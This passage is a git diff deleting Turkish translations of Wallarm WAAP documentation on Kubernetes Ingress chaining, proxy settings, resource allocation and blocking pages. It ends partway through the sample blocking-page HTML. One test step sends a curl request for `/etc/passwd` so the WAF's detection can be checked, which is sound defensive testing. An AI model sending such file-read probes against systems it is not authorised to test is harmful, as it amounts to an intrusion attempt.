derin paket incelemesi uygular. WAAP, 0-day'ler dahil [çeşitli tehditleri](../attacks-vulns-list.md) yüksek doğrulukla tespit eder ve [yalancı pozitiflerin](../about-wallarm/protecting-against-attacks.md#false-positives) sayısını düşük tutar. Bu da altyapınızı hızlı ve etkili bir şekilde korumanızı sağlar. - -![Protokollere göre saldırılar](../images/user-guides/dashboard/api-protocols.png) - -## Genel ilkeler - -Trafik iki bileşen tarafından işlenir: Wallarm filtering nodes ve Wallarm Cloud. Wallarm filtering nodes müşteri altyapısına kuruludur ve trafiği analiz edip saldırıları engellemekten sorumludur. Toplanan saldırı istatistikleri istatistiksel analiz ve olay işleme için Wallarm Cloud'a gönderilir. Wallarm Cloud ayrıca merkezi yönetimden ve diğer güvenlik araçlarıyla entegrasyondan sorumludur. - -![!Mimari şema1](../images/about-wallarm-waf/overview/filtering-node-cloud.png) - -Wallarm, [genel bulut](../installation/supported-deployment-options.md), kendi kendine barındırılan altyapı, tam SaaS kurulumları ve Kubernetes, Gateway APIs, [Security Edges](../installation/security-edge/overview.md) vb. ile entegrasyon dahil olmak üzere çeşitli kurulum seçeneklerini destekler. Wallarm filtering nodes, ihtiyaçlarınıza ve altyapınıza bağlı olarak ya [hat içi](../installation/inline/overview.md) ya da [bant dışı](../installation/oob/overview.md) konuşlandırılabilir. Esnek güvenlik politikası yapılandırma seçenekleri, [modlar](../admin-en/configure-wallarm-mode.md) arasında izleme ile engelleme arasında hızlıca geçiş yapmanıza olanak tanıyarak meşru trafiğin engellenmesi korkusunu ortadan kaldırır. - -## Koruma önlemleri - -Wallarm WAAP, uygulamalarınızı her türlü tehdide karşı korumak için, bunlarla sınırlı olmamak üzere, geniş bir güvenlik önlemleri yelpazesi sunar: - -* XSS, SQLi, RCE vb. için güncel imzalar -* Sanal yamalama -* Özel dedektör oluşturma -* [L7 DDoS Protection](../admin-en/configuration-guides/protecting-against-ddos.md) -* [Birden çok saldırı faili koruması](../admin-en/configuration-guides/protecting-with-thresholds.md) -* İstek hızını sınırlandırma -* [Brute force koruması](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [Zorla gezinmeye karşı koruma](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) -* [BOLA koruması](../admin-en/configuration-guides/protecting-against-bola-trigger.md) -* [Coğrafi konumlara ve kaynak türlerine göre filtreleme](../user-guides/ip-lists/overview.md) -* Kötü amaçlı IP beslemeleri - -## Ek yetenekler - -Uygulamaları korumaya ek olarak, Wallarm Cloud Native WAAP, saldırganlar istismar etmeden önce güvenlik açıklarını belirleme ([pasif tespit](../about-wallarm/detecting-vulnerabilities.md#passive-detection)) yetenekleri sağlar. - -Esnek [raporlama](../user-guides/dashboards/owasp-api-top-ten.md) yetenekleri ve diğer uygulamalarla [entegrasyon](../user-guides/settings/integrations/integrations-intro.md), ortaya çıkan tehditleri hızla öğrenmenizi ve zamanında yanıt vermenizi sağlar. - -Gelişmiş API koruma ve analiz yetenekleri, ihtiyaç duyulduğunda kolayca [eklenebilir](../about-wallarm/subscription-plans.md). \ No newline at end of file diff --git a/docs/latest-tr/admin-en/admin-intro-en.md b/docs/latest-tr/admin-en/admin-intro-en.md deleted file mode 100644 index 606d7b9aae..0000000000 --- a/docs/latest-tr/admin-en/admin-intro-en.md +++ /dev/null @@ -1,5 +0,0 @@ -# Yönetici kılavuzuna giriş - -Bu kılavuz, Wallarm yapılandırma seçenekleri ve altyapı entegrasyonu hakkında bilgi sağlar. - -Bu kılavuzda açıklanan işlemlerin çoğunu gerçekleştirmek için yönetici erişimine sahip olmanız gerekir. Yönetici erişimini, [ABD](https://us1.my.wallarm.com) veya [AB](https://my.wallarm.com) Cloud içindeki Wallarm Console'da **Settings** → **Users** sekmesinden ayarlayabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/apifw-metrics.md b/docs/latest-tr/admin-en/apifw-metrics.md deleted file mode 100644 index 0b41fb2754..0000000000 --- a/docs/latest-tr/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/latest-tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/latest-tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index be158722af..0000000000 --- a/docs/latest-tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1,207 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png - -# Aynı Kubernetes kümesinde Wallarm ve ek Ingress denetleyicilerinin zincirlenmesi - -Bu talimatlar, Wallarm Ingress denetleyicisini K8s kümenize dağıtma ve onu ortamınızda halihazırda çalışan diğer denetleyicilerle zincirleme adımlarını sağlar. - -## Çözümün ele aldığı sorun - -Wallarm, düğüm yazılımını farklı biçimlerde sunar; bunlardan biri de [Community Ingress NGINX Controller üzerine inşa edilmiş Ingress Controller](installation-kubernetes-en.md). - -Zaten bir Ingress denetleyicisi kullanıyorsanız, mevcut Ingress denetleyicisini Wallarm denetleyicisiyle değiştirmek zor olabilir (ör. AWS ALB Ingress Controller kullanılıyorsa). Bu durumda, [Wallarm Sidecar çözümünü](../installation/kubernetes/sidecar-proxy/deployment.md) değerlendirebilirsiniz; ancak bu da altyapınıza uymuyorsa birden fazla Ingress denetleyicisini zincirlemek mümkündür. - -Ingress denetleyicilerinin zincirlenmesi, son kullanıcı isteklerini kümeye ulaştırmak için mevcut bir denetleyiciyi kullanmanıza ve gerekli uygulama korumasını sağlamak için ek bir Wallarm Ingress denetleyicisi dağıtmanıza olanak tanır. - -## Gereksinimler - -* Kubernetes platformu sürüm 1.26-1.30 -* [Helm](https://helm.sh/) paket yöneticisi -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim -* Wallarm Helm chart’larını eklemek için `https://charts.wallarm.com` adresine erişim. Erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* Docker Hub üzerindeki Wallarm depolarına `https://hub.docker.com/r/wallarm` erişim. Erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ve [API spesifikasyonları](../api-specification-enforcement/overview.md) güncellemelerini indirmek ve [izin listesine, yasak listesine veya gri listeye alınmış](../user-guides/ip-lists/overview.md) ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Bir Ingress denetleyicisi çalıştıran dağıtılmış Kubernetes kümesi - -## Wallarm Ingress denetleyicisini dağıtma ve onu ek bir Ingress denetleyicisiyle zincirleme - -Wallarm Ingress denetleyicisini dağıtmak ve ek denetleyicilerle zincirlemek için: - -1. Resmi Wallarm denetleyici Helm chart’ını, mevcut Ingress denetleyicisinden farklı bir Ingress sınıfı değeri kullanarak dağıtın. -1. Şunlarla birlikte Wallarm’a özel Ingress nesnesi oluşturun: - - * Wallarm Ingress Helm chart’ının `values.yaml` dosyasında belirtilen `ingressClass` ile aynı değer. - * Mevcut Ingress denetleyicisindekiyle aynı şekilde yapılandırılmış Ingress denetleyici istek yönlendirme kuralları. - - !!! info "Wallarm Ingress denetleyicisi küme dışına açılmayacaktır" - Lütfen unutmayın, Wallarm Ingress denetleyicisi servisinde `ClusterIP` kullanır; bu da küme dışına açılmayacağı anlamına gelir. -1. Mevcut Ingress denetleyicisini, gelen istekleri uygulama servisleri yerine yeni Wallarm Ingress denetleyicisine iletecek şekilde yeniden yapılandırın. -1. Wallarm Ingress denetleyicisinin çalışmasını test edin. - -### Adım 1: Wallarm Ingress denetleyicisini dağıtın - -1. [Uygun türde][node-token-types] bir filtreleme düğümü belirteci oluşturun: - - === "API token (Helm chart 4.6.8 ve üzeri)" - 1. Wallarm Console → **Settings** → **API tokens** öğesini [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API token’ını bulun veya oluşturun. - 1. Bu token'ı kopyalayın. - === "Node token" - 1. Wallarm Console → **Nodes** öğesini [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde açın. - 1. **Wallarm node** türünde bir filtreleme düğümü oluşturun ve üretilen token'ı kopyalayın. - - ![Bir Wallarm düğümünün oluşturulması][nginx-ing-create-node-img] -1. [Wallarm Helm chart’ları deposunu](https://charts.wallarm.com/) ekleyin: - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update - ``` -1. Aşağıdaki Wallarm yapılandırmasıyla `values.yaml` dosyasını oluşturun: - - === "US Cloud" - ```bash - controller: - wallarm: - enabled: true - token: "" - apiHost: us1.api.wallarm.com - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: ClusterIP - nameOverride: wallarm-ingress - ``` - === "EU Cloud" - ```bash - controller: - wallarm: - enabled: true - token: "" - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: "ClusterIP" - nameOverride: wallarm-ingress - ``` - - * ``, Wallarm düğüm belirtecidir. - * API token kullanırken, `nodeGroup` parametresinde bir düğüm grup adı belirtin. Düğümünüz bu gruba atanır ve Wallarm Console’un **Nodes** bölümünde görüntülenir. Varsayılan grup adı `defaultIngressGroup` değeridir. - - Daha fazla yapılandırma seçeneği için lütfen şu [bağlantıyı](configure-kubernetes-en.md) kullanın. -1. Wallarm Ingress Helm chart’ını yükleyin: - ``` bash - helm install --version 6.6.0 internal-ingress wallarm/wallarm-ingress -n wallarm-ingress -f values.yaml --create-namespace - ``` - - * `internal-ingress`, Helm sürümünün adıdır - * `values.yaml`, önceki adımda oluşturulan Helm değerlerini içeren YAML dosyasıdır - * `wallarm-ingress`, Helm chart’ın yükleneceği ad alandır (oluşturulacaktır) -1. Wallarm Ingress denetleyicisinin çalışır durumda olduğunu doğrulayın: - - ```bash - kubectl get pods -n wallarm-ingress - ``` - - Wallarm pod durumu **STATUS: Running** ve **READY: N/N** olmalıdır: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` - -### Adım 2: Wallarm’a özel `ingressClassName` ile Ingress nesnesi oluşturun - -Önceki adımda `values.yaml` içinde yapılandırdığınızla aynı `ingressClass` adına sahip Ingress nesnesini oluşturun. - -Ingress nesnesi, uygulamanızın dağıtıldığı ad alanıyla aynı ad alanında olmalıdır; örneğin: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - annotations: - nginx.ingress.kubernetes.io/wallarm-application: "1" - nginx.ingress.kubernetes.io/wallarm-mode: monitoring - name: myapp-internal - namespace: myapp -spec: - ingressClassName: wallarm-ingress - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: myapp - port: - number: 80 -``` - -### Adım 3: Mevcut Ingress denetleyicisini istekleri Wallarm’a iletecek şekilde yeniden yapılandırın - -Mevcut Ingress denetleyicisini, gelen istekleri uygulama servisleri yerine yeni Wallarm Ingress denetleyicisine iletecek şekilde aşağıdaki gibi yeniden yapılandırın: - -* `ingressClass` adı `nginx` olacak şekilde Ingress nesnesi oluşturun. Bu değerin varsayılan olduğunu lütfen unutmayın; farklıysa kendi değerinizle değiştirebilirsiniz. -* Ingress nesnesi, Wallarm Ingress Chart ile aynı ad alanında olmalıdır; bu örnekte `wallarm-ingress`. -* `spec.rules[0].http.paths[0].backend.service.name` değerinin, Helm sürüm adı ve `.Values.nameOverride` birleşiminden oluşan Wallarm Ingress denetleyici servisinin adı olması gerekir. - - Adı almak için aşağıdaki komutu kullanabilirsiniz: - - ```bash - kubectl get svc -l "app.kubernetes.io/component=controller" -n wallarm-ingress -o=jsonpath='{.items[0].metadata.name}' - ``` - - Bizim örneğimizde ad `internal-ingress-wallarm-ingress-controller` şeklindedir. - -Ortaya çıkan yapılandırma örneği: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: myapp-external - namespace: wallarm-ingress -spec: - ingressClassName: nginx - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: internal-ingress-wallarm-ingress-controller - port: - number: 80 -``` - -### Adım 4: Wallarm Ingress denetleyicisinin çalışmasını test edin - -Mevcut harici Ingress denetleyicisinin Load Balancer genel IP’sini alın; örneğin `ingress-nginx` ad alanına dağıtıldığını varsayalım: - -```bash -LB_IP=$(kubectl get svc -l "app.kubernetes.io/component=controller" -n ingress-nginx -o=jsonpath='{.items[0].status.loadBalancer.ingress[0].ip}') -``` - -Mevcut Ingress denetleyicisi adresine bir test isteği gönderin ve sistemin beklendiği gibi çalıştığını doğrulayın: - -```bash -curl -H "Host: www.example.com" ${LB_IP}/etc/passwd -``` \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/latest-tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 67076b4a37..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1,74 +0,0 @@ -# Proxy aracılığıyla Wallarm API'ye erişim - -Bu talimatlar, proxy sunucusu aracılığıyla Wallarm API'ye erişimi yapılandırma adımlarını açıklar. - -* EU Cloud için `https://api.wallarm.com/` -* US Cloud için `https://us1.api.wallarm.com/` - -Talimatlar hem [NGINX](../../installation/nginx-native-node-internals.md#nginx-node) hem de [Native](../../installation/nginx-native-node-internals.md#native-node) düğümleri için geçerlidir. - -## Kurulum sırasında ve sonrasında erişim - -Aşağıdaki durumlarda erişimi yapılandırmanız gerekir: - -* Düğüm kurulmadan önce - `/etc/environment` dosyasında; bu, düğüm kurulum işleminin gerekli kaynaklara proxy üzerinden erişmesine olanak tanır. -* Düğüm kurulduktan sonra - `/opt/wallarm/env.list` dosyasında; bu, kurulmuş düğümün proxy aracılığıyla Wallarm API'ye erişebilmesini sağlar. Bu dosya, düğüm kurulana kadar mevcut değildir. - -Her iki durumda da erişimi yapılandırmak için, proxy sunucusunu tanımlayan ortam değişkenlerine yeni değerler atayın: - -* `https_proxy` HTTPS protokolü için proxy'yi tanımlamak için -* `http_proxy` HTTP protokolü için proxy'yi tanımlamak için -* `no_proxy` proxy kullanılmaması gereken kaynakların listesini tanımlamak için - -## `https_proxy` ve `http_proxy` değerleri - -`https_proxy` ve `http_proxy` değişkenlerine `://:@:` dize değerlerini atayın: - -* `` kullanılan protokolü tanımlar. Mevcut ortam değişkeninin proxy ayarladığı protokolle eşleşmelidir -* `` proxy yetkilendirmesi için kullanıcı adını tanımlar -* `` proxy yetkilendirmesi için parolayı tanımlar -* `` proxy sunucusunun ana bilgisayarını tanımlar -* `` proxy sunucusunun portunu tanımlar - -## `no_proxy` değeri - -Proxy'nin kullanılmaması gereken kaynakların IP adreslerini ve/veya alan adlarını `no_proxy` değişkenine dizi olarak atayın: - -* Wallarm düğümünün doğru çalışması için `127.0.0.1`, `127.0.0.8`, `127.0.0.9` ve `localhost` -* şu biçimde ek adresler: `", , , , ..."` burada ``, ``, `` ve `` IP adresleri ve/veya alan adlarıdır - -## Yapılandırma dosyalarına örnek - -Aşağıdaki `/etc/environment` ve `/opt/wallarm/env.list` dosyası örnekleri şu yapılandırmayı göstermektedir: - -* HTTPS ve HTTP istekleri, proxy sunucusunda yetkilendirme için `admin` kullanıcı adı ve `01234` parolası kullanılarak, `1234` portuyla `1.2.3.4` ana bilgisayarındaki proxy'ye yönlendirilir. -* `127.0.0.1`, `127.0.0.8`, `127.0.0.9` ve `localhost` adreslerine gönderilen istekler için proxy devre dışıdır. - -```bash -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" -``` - -## all-in-one betiğini çalıştırma - -[all-in-one](../../installation/nginx/all-in-one.md) yükleyicisiyle bir filtreleme düğümü kurarken, betiği çalıştıran komuta `--preserve-env=https_proxy,no_proxy` bayrağını eklediğinizden emin olun, örn.: - -``` -sudo --preserve-env=https_proxy,no_proxy env WALLARM_LABELS='group=' sh wallarm-.-glibc.sh -``` - -Bu, kurulum sürecinde proxy ayarlarının (`https_proxy`, `no_proxy`) doğru şekilde uygulanmasını garanti eder. - -## Kurulumdan sonra erişim - -Düğüm kurulur kurulmaz, `/opt/wallarm/env.list` dosyasında proxy aracılığıyla Wallarm API'ye erişimini yapılandırmanız gerekir. Değişkenler ve değerler, kurulum sırasında kullanılanlarla aynıdır. - -!!! info "Yapılandırma dosyasının kullanılabilirliği" - `/opt/wallarm/env.list` dosyası, düğüm kurulana kadar mevcut değildir. - -Yapılandırma dosyasını değiştirdikten sonra wallarm servisini yeniden başlatın: - -``` -sudo systemctl restart wallarm -``` \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/latest-tr/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index 467cdda76a..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1,97 +0,0 @@ -# Wallarm NGINX node için Kaynak Ayırma - -Wallarm NGINX node için ayrılan bellek ve CPU kaynaklarının miktarı istek işleme kalitesini ve hızını belirler. Bu talimatlar, self-hosted NGINX node bellek tahsisine yönelik önerileri açıklar. - -Bir NGINX filtreleme düğümünde bellek ve CPU kaynaklarını tüketen iki ana bileşen vardır: - -* [wstore](#wstore), **post-analiz modülü** olarak da adlandırılır. Bu, yerel veri analitiği arka ucu olup filtreleme düğümündeki birincil bellek tüketicisidir. -* [NGINX](#nginx) ana filtreleme düğümü ve ters proxy bileşenidir. - -NGINX CPU kullanımı; RPS düzeyi, istek ve yanıtın ortalama boyutu, düğümün işlediği özel kurallar kümesindeki kural sayısı, Base64 veya veri sıkıştırma gibi kullanılan veri kodlamalarının türleri ve katmanları vb. birçok faktöre bağlıdır. - -Ortalama olarak bir CPU çekirdeği yaklaşık 500 RPS işleyebilir. Production modda çalışırken NGINX süreci için en az 1 CPU çekirdeği ve wstore süreci için 1 çekirdek ayırmanız önerilir. Çoğu durumda, önce filtreleme düğümünü fazla tahsis etmek, gerçek production trafik seviyeleri için fiili CPU ve bellek kullanımını gözlemlemek ve ayrılan kaynakları kademeli olarak makul bir seviyeye düşürmek (trafik sıçramaları ve düğüm yedekliliği için en az 2x marjla) önerilir. - -## wstore - ---8<-- "../include/allocate-resources-for-waf-node/wstore-memory.md" - -### Kubernetes Ingress denetleyicisinde Kaynak Ayırma - ---8<-- "../include/allocate-resources-for-waf-node/wstore-memory-ingress-controller.md" - -### All-in-One Installer kullanılıyorsa Kaynak Ayırma - -wstore belleğinin boyutlandırılması, `/opt/wallarm/env.list` yapılandırma dosyasındaki `SLAB_ALLOC_ARENA` özniteliği kullanılarak kontrol edilir. Bellek ayırmak için: - -1. `/opt/wallarm/env.list` dosyasını düzenlemek üzere açın: - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. `SLAB_ALLOC_ARENA` özniteliğini bellek boyutuna ayarlayın. Değer tam sayı veya kayan nokta olabilir (ondalık ayırıcı nokta `.` olmalıdır). Örneğin: - - ``` - SLAB_ALLOC_ARENA=1.0 - ``` -1. Wallarm servislerini yeniden başlatın: - - ``` - sudo systemctl restart wallarm.service - ``` - -### Amazon Machine Image kullanılıyorsa Kaynak Ayırma - -* Wallarm node, ayrılan kaynakları wstore ve NGINX arasında otomatik olarak dağıtır. -* [Wallarm NGINX Node AMI](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe) üzerinden bir Wallarm node örneği başlatırken, test için `t3.medium` ve production için `m4.xlarge` örnek tiplerini kullanmanızı öneririz. - -## NGINX - -NGINX bellek tüketimi birçok faktöre bağlıdır. Ortalama olarak aşağıdaki şekilde tahmin edilebilir: - -``` -Eşzamanlı istek sayısı * Ortalama istek boyutu * 3 -``` - -Örneğin: - -* Filtreleme düğümü, zirvede 10000 eşzamanlı isteği işliyor, -* ortalama istek boyutu 5 kB. - -NGINX bellek tüketimi aşağıdaki gibi tahmin edilebilir: - -``` -10000 * 5 kB * 3 = 150000 kB (veya ~150 MB) -``` - -**Bellek miktarını ayarlamak için:** - -* NGINX Ingress denetleyici pod'u (`ingress-controller`) için, `helm install` veya `helm upgrade` komutlarının `--set` seçeneğini kullanarak `values.yaml` dosyasındaki aşağıdaki bölümleri yapılandırın: - ``` - controller: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - - Parametreleri değiştiren komut örnekleri: - - === "Ingress denetleyicisinin kurulumu" - ```bash - helm install --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - - Doğru Ingress denetleyicisi kurulumu için [diğer parametreler](../configure-kubernetes-en.md#additional-settings-for-helm-chart) de gereklidir. Lütfen bunları da `--set` seçeneğinde iletin. - === "Ingress denetleyicisi parametrelerini güncelleme" - ```bash - helm upgrade --reuse-values --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - -* diğer dağıtım seçenekleri için NGINX yapılandırma dosyalarını kullanın. - -## Sorun Giderme - -Bir Wallarm node beklenenden daha fazla bellek ve CPU tüketiyorsa, kaynak kullanımını azaltmak için [CPU yüksek kullanım sorun giderme](../../troubleshooting/performance.md#wallarm-node-consumes-too-much-cpu) makalesindeki önerileri inceleyip uygulayın. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/latest-tr/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index 2898fc1cbf..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1,600 +0,0 @@ -# Engelleme sayfası ve hata kodunun yapılandırılması (NGINX) - -Bu talimatlar, engellenen isteklere verilen yanıtta döndürülen engelleme sayfasını ve hata kodunu özelleştirme yöntemini açıklar. Yapılandırma yalnızca self-hosted NGINX Node'ları için geçerlidir. - -Özel engelleme sayfası, aşağıdaki nedenlerle engellenen isteklere yanıt olarak döndürülür: - -* İstek aşağıdaki türlerde kötü amaçlı payload içerir: [girdi doğrulama saldırıları](../../attacks-vulns-list.md#attack-types), [vpatch saldırıları](../../user-guides/rules/vpatch-rule.md) veya [düzenli ifadelere dayalı tespit edilen saldırılar](../../user-guides/rules/regex-rule.md). -* Yukarıdaki listeden kötü amaçlı payload içeren istek [graylisted IP address](../../user-guides/ip-lists/overview.md) üzerinden gelmiştir ve node, istekleri güvenli engelleme [mode](../configure-wallarm-mode.md) ayarında filtrelemektedir. -* İstek [denylisted IP address](../../user-guides/ip-lists/overview.md) üzerinden gelmiştir. - -## Yapılandırma kısıtlamaları - -Engelleme sayfası ve hata kodunun yapılandırılması self-hosted NGINX tabanlı Wallarm node dağıtımlarında desteklenir, ancak Native Node’da desteklenmez. - -## Yapılandırma yöntemleri - -Varsayılan olarak, 403 yanıt kodu ve varsayılan NGINX engelleme sayfası istemciye döndürülür. Varsayılan ayarları aşağıdaki NGINX yönergelerini kullanarak değiştirebilirsiniz: - -* `wallarm_block_page` -* `wallarm_block_page_add_dynamic_path` - -### NGINX yönergesi `wallarm_block_page` - -Engelleme sayfasını ve hata kodunu, `wallarm_block_page` NGINX yönergesine aşağıdaki parametreleri geçirerek yapılandırabilirsiniz: - -* Engelleme sayfasının HTM veya HTML dosyasının yolu. Yolu, özel bir engelleme sayfasına veya Wallarm tarafından sağlanan [örnek engelleme sayfasına](#customizing-sample-blocking-page) belirtebilirsiniz. -* Engellenen bir isteğe yanıt olarak döndürülecek mesajın metni. -* İstemci yönlendirmesi için URL. -* `response_code`: yanıt kodu. -* `type`: belirtilen yapılandırmanın hangi engellenen istek türü için döndürülmesi gerektiği. Parametre aşağıdaki listeden bir veya birden fazla (virgülle ayrılmış) değer alır: - - * Varsayılan `attack`: istekleri engelleme veya güvenli engelleme [mode](../configure-wallarm-mode.md) ayarında filtrelerken filtering node tarafından engellenen istekler için. - * `acl_ip`: [denylist](../../user-guides/ip-lists/overview.md)'e tek bir nesne veya alt ağ olarak eklenmiş IP adreslerinden gelen istekler için. - * `acl_source`: [denylisted](../../user-guides/ip-lists/overview.md) ülke, bölge veya veri merkezlerinde kayıtlı IP adreslerinden gelen istekler için. - -`wallarm_block_page` yönergesi listelenen parametreleri aşağıdaki formatlarda kabul eder: - -* HTM veya HTML dosyasının yolu, hata kodu (opsiyonel) ve engellenen istek türü (opsiyonel) - - ```bash - wallarm_block_page &/ response_code= type=; - ``` - - Wallarm, [özelleştirmeniz](#customizing-sample-blocking-page) için başlangıç noktası olarak kullanabileceğiniz örnek bir engelleme sayfası sağlar. Sayfa aşağıdaki yollardan birinde bulunur: - - === "Tümleşik yükleyici, AMI veya GCP imajı, NGINX tabanlı Docker imajı" - ``` - &/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html - ``` - === "Diğer dağıtım seçenekleri" - ``` - &/usr/share/nginx/html/wallarm_blocked.html - ``` - - Engelleme sayfasında [NGINX değişkenlerini](https://nginx.org/en/docs/varindex.html) kullanabilirsiniz. Bunun için değişken adını engelleme sayfası koduna `${variable_name}` formatında ekleyin, örn. engellenen isteğin geldiği IP adresini göstermek için `${remote_addr}`. - - !!! warning "Debian ve CentOS kullanıcıları için önemli bilgi" - CentOS/Debian depolarından kurulmuş 1.11’in altındaki bir NGINX sürümü kullanıyorsanız, dinamik engelleme sayfasını doğru görüntülemek için sayfa kodundan `request_id` değişkenini kaldırmalısınız: - ``` - UUID ${request_id} - ``` - - Bu, hem `wallarm_blocked.html` için hem de özel engelleme sayfası için geçerlidir. - - [Yapılandırma örneği →](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) -* İstemci yönlendirmesi için URL ve engellenen istek türü (opsiyonel) - - ``` bash - wallarm_block_page / type=; - ``` - - [Yapılandırma örneği →](#url-for-the-client-redirection) -* İsimlendirilmiş NGINX `location` ve engellenen istek türü (opsiyonel) - - ``` bash - wallarm_block_page @ type=; - ``` - - [Yapılandırma örneği →](#named-nginx-location) -* HTM veya HTML dosyasının yolunu ayarlayan değişken adı, hata kodu (opsiyonel) ve engellenen istek türü (opsiyonel) - - ``` bash - wallarm_block_page & response_code= type=; - ``` - - !!! warning "Kodu NGINX değişkenleri içeren engelleme sayfasını başlatma" - Bu yöntemi, kodunda [NGINX değişkenleri](https://nginx.org/en/docs/varindex.html) bulunan engelleme sayfasını ayarlamak için kullanıyorsanız, lütfen bu sayfayı [`wallarm_block_page_add_dynamic_path`](#nginx-directive-wallarm_block_page_add_dynamic_path) yönergesi aracılığıyla başlatın. - - [Yapılandırma örneği →](#variable-and-error-code) - -`wallarm_block_page` yönergesi NGINX yapılandırma dosyasının `http`, `server`, `location` bloklarının içinde ayarlanabilir. - - -### NGINX yönergesi `wallarm_block_page_add_dynamic_path` - -`wallarm_block_page_add_dynamic_path` yönergesi, kodunda NGINX değişkenleri bulunan ve bu engelleme sayfasının yolunun da bir değişken kullanılarak ayarlandığı engelleme sayfasını başlatmak için kullanılır. Aksi halde, yönerge kullanılmaz. - -Yönerge, NGINX yapılandırma dosyasının `http` bloğu içinde ayarlanabilir. - - -## Örnek engelleme sayfasını özelleştirme - -Wallarm tarafından sağlanan örnek engelleme sayfası aşağıdaki gibidir: - -![Wallarm engelleme sayfası](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -Özelleştirmenize başlangıç noktası olarak örnek sayfayı kullanabilir ve aşağıdakilerle geliştirebilirsiniz: - -* Şirket logonuzu ekleme – varsayılan olarak sayfada logo yoktur. -* Şirket destek e-postanızı ekleme – varsayılan olarak e-posta bağlantıları kullanılmaz ve `contact us` ifadesi herhangi bir bağlantı olmadan düz metindir. -* Diğer HTML öğelerini değiştirme veya kendi öğelerinizi ekleme. - -!!! info "Özel engelleme sayfası varyantları" - Wallarm tarafından sağlanan örnek sayfayı değiştirmek yerine, sıfırdan özel bir sayfa oluşturabilirsiniz. - -### Genel prosedür - -Örnek sayfanın kendisini değiştirirseniz, Wallarm bileşenlerini güncellediğinizde değişiklikleriniz kaybolabilir. Bu nedenle, örnek sayfayı kopyalayıp yeni bir ad vererek ardından değiştirmeniz önerilir. Aşağıdaki bölümlerde açıklandığı gibi kurulum türünüze göre hareket edin. - -**Kopyalama için örnek sayfa** - -Filtreleme node’unuzun kurulu olduğu ortamda bulunan `/usr/share/nginx/html/wallarm_blocked.html` (`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`) dosyasının bir kopyasını oluşturabilirsiniz. Alternatif olarak, aşağıdaki kodu kopyalayıp yeni dosyanız olarak kaydedin: - -??? info "Örnek sayfa kodunu göster" - - ```html - - - - - - - - You are blocked - - - - - - -
            - - -
            -
            - - - - - -
            Malicious activity blocked
            -
            Your request is blocked since it was identified as a malicious one.
            -
            -
            -
            Why it happened
            -
